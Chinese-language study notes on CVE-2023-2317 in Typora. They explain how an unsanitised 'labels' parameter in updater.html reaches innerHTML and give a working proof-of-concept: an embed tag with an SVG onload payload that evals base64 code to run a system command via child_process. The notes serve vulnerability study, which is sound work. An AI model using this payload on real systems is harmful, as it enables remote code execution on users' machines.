1. cve 2023 2317
    1. xss
    2. update.html
    3. same origin policy
    4. script

cve 2023 2317

原文章在这里

xss

Cross-site scripting 执行了本不应该执行的 js

恶意的 js 可能来自 server 端没有过滤的数据(存储型),或者点击恶意的链接(反射型)

update.html

    <div class="btn-group">
      <div id="skip-this-version-btn-group" style="flex-grow: 2; min-height: 10px;min-width: 10px;">
        <button onClick="onSkipUpdate()" data-label="1" >Skip This Version</button>
      </div>
      
      <button onClick="onCancelUpdate()" data-label="2" >Remind Me Later</button>
      <button class="btn-primary" onClick="onDownloadUpdate()" data-label="3" >Download Update</button>
    </div>

    <script type="text/javascript">
      // ...
      var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1]));        // [1]

      document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion);
      document.querySelectorAll("[data-label]").forEach(function(dom){
        dom.innerHTML = labels[dom.getAttribute("data-label") - 0];     // [2]
      });
      // ...
    </script>

exec() 用于识别字符串中的正则匹配,找到 lable 参数的内容

JSON.parce 解析成 js object 或 js array,lables 是一个从参数解析出来的数组

document.querySelector 查找标签 id (# 表示) class (. 表示)

querySelectorAll 查找有 [data-label] 属性的所有标签

innerHTML returns all text, including html tags, that is contained by an element. 这里可以构造 xss (?

same origin policy

同源策略 限制不同来源的 document 和 script 和其他来源的内容交互,using JavaScript to access a document in an iframe 是禁止的。

如果在 typora://app/typemark/window.html embed typora://app/typemark/updater/updater.html ,updater 的script 是可以访问 window.html 中的内容的,比如 reqnode

script

<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ25vdGVwYWQgJVdJTkRJUiUvd2luLmluaScsIExpbnV4OiAnZ25vbWUtY2FsY3VsYXRvciAtZSAiVHlwb3JhIFJDRSBQb0MiJ30pW25hdmlnYXRvci5wbGF0Zm9ybS5zdWJzdHIoMCw1KV0p'))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]"></embed>

其中的 <svg/onload=top.eval(atob('xxx'))></svg>svg injection 在 svg 加载完成后执行 onload 中的 script,eval 一段 base64 编码的 script

decode 之后是这个 reqnode('child_process').exec(({Win32: 'notepad %WINDIR%/win.ini', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])

根据平台执行命令